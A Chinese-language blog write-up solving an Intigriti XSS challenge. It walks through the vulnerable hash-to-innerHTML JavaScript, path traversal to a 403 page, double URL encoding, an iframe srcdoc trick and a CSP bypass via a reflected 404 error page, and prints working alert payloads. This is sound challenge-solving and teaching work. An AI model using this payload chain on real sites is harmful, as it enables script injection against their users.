最近刷推特看到一个有趣的xss挑战,链接是:
https://twitter.com/intigriti/status/1249662911540350977
挑战地址:
https://challenge.intigriti.io/
0x00 题目介绍
首先大致介绍下题目后续利用会使用到的点和一些编码转换的地方
1. 主要Js代码:
var hash = document.location.hash.substr(1);
if(hash){
displayReason(hash);
}
document.getElementById("reasons").onchange = function(e){
if(e.target.value != "")
displayReason(e.target.value);
}
function reasonLoaded () {
var reason = document.getElementById("reason");
reason.innerHTML = unescape(this.responseText);
}
function displayReason(reason){
window.location.hash = reason;
var xhr = new XMLHttpRequest();
xhr.addEventListener("load", reasonLoaded);
xhr.open("GET",`./reasons/${reason}.txt`);
xhr.send();
}
主要操作是将location.hash作为ajax的url去查找对应的txt,并且直接放入div id是reason 的innerHTML中。
2. 404页面
请求404页面返回content-type: text/html,但url编码后%会被过滤(气),不能直接xss
3. CSP规则:
此处使用的csp规则为default-src 'self' ,只允许加载与自身同源的js,不过绕过方式可以使用jsonp回调等进行绕过。
4. 403页面会进行html实体编码
0x01 xss构造流程
1. 页面构造出"<>"
首先注意到在js中会进行unescape。此处可结合403页面构造,403页面通过2次url编码后不进行html编码,也不会过滤 %
经过unescape之后会可以直接插入html中,如以下的html内容
但是注意此处ajax必须要访问/reasons/,而403页面是在/下面的的,此处需要通过../绕过
这样就可以构成页面注入内容。
2.Js执行
此处不可以直接注入<script>
标签,原因是在html5对innerHTML的限制
此处可通过iframe的srcdoc进行绕过innerHTML的限制,本地测试js内容如下:
reason.innerHTML = unescape("<iframe srcdoc=\"<script src=./2.js></script>\"</iframe>");
其中2.js内容为alert(1)。打开后直接进行alert
3.CSP绕过
下一步是绕过csp,类似jsonp的回调绕过CSP,此处绕过的思路是结合404页面构造。此处闭合404内容即可,url如下:
https://challenge.intigriti.io/';alert(document.domain);'
返回结果如下:
404 - 'File "';alert(document.domain);'" was not found in this folder.'
并且可执行
去掉CSP本地测试下:
reason.innerHTML = unescape("<iframe srcdoc=\"<script src=https://challenge.intigriti.io/';alert(document.domain);'></script>\"</iframe>");
0x02 最终结果
最终构造xss的路径为:
- 通过../重定向请求url到/.ht_wsr.txt,构造403页面
- /.ht_wsr.txt后追加二次url编码的payload,经过服务端编码和unescape后输入在页面的innerHTML中
- 通过iframe的srcdoc解决innerHTML执行js问题
- 通过404页面的报错内容构造js内容,绕过CSP
参考链接:
https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML
https://github.com/whatwg/html/issues/2300